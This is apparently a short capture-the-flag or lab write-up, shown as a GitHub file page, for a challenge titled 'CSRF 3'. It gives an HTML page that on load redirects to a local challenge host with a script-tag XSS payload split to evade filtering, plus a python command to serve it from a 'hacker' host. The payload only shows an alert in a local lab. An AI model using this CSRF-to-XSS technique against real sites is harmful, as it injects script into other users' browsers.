Skip to content

Latest commit

 

History

History
18 lines (13 loc) · 331 Bytes

CSRF 3.md

File metadata and controls

18 lines (13 loc) · 331 Bytes

CSRF 3

Triggering XSS through CSRF

index.html:

<!DOCTYPE html>
<html>
<body onload="window.location='http://challenge.localhost/ephemeral?msg='+'<'+'script>alert(&quot;PWNED&quot;)</script'+'>'"></body>
</html>

Run in the directory of index.html:

python3 -m http.server 1337 --bind hacker.localhost